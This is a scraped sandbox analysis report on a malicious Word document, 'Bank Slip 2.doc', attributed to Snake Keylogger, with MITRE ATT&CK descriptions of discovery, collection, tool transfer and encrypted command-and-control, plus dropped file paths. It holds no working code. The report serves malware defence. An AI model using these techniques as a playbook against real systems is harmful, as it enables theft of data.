Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Bank Slip 2.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\FcdBUj68lnCbMtB[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B37302F7-876E-4976-9F51-EE39DA847933}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{29430A93-7164-4349-8A64-66C896FAA64C}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{357DB24A-0983-48BF-8598-FD9D4AAB4B4E}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{57BE0F5E-0BF5-4CE6-96F3-B3AC962F851D}.tmp

C:\Users\user\AppData\Local\Temp\21umizuh.yjs.psm1

C:\Users\user\AppData\Local\Temp\oygt2vjk.eyq.ps1

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Bank Slip 2.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Windows Analysis Report
Bank Slip 2.doc

Function 002605E0 Relevance: 43.2, Strings: 33, Instructions: 1984
COMMON

Function 002612C9 Relevance: 43.2, Strings: 33, Instructions: 1973
COMMON

Function 001C04F4 Relevance: 1.8, APIs: 1, Instructions: 327
processCOMMON

Function 001C0500 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Function 001C0161 Relevance: 1.6, APIs: 1, Instructions: 121
injectionCOMMON

Function 001C0168 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Function 001C02C8 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Function 001C0040 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Function 0026FEA0 Relevance: 1.6, APIs: 1, Instructions: 99
threadCOMMON

Function 0026FEA8 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Function 0026F978 Relevance: 1.6, APIs: 1, Instructions: 77
threadCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre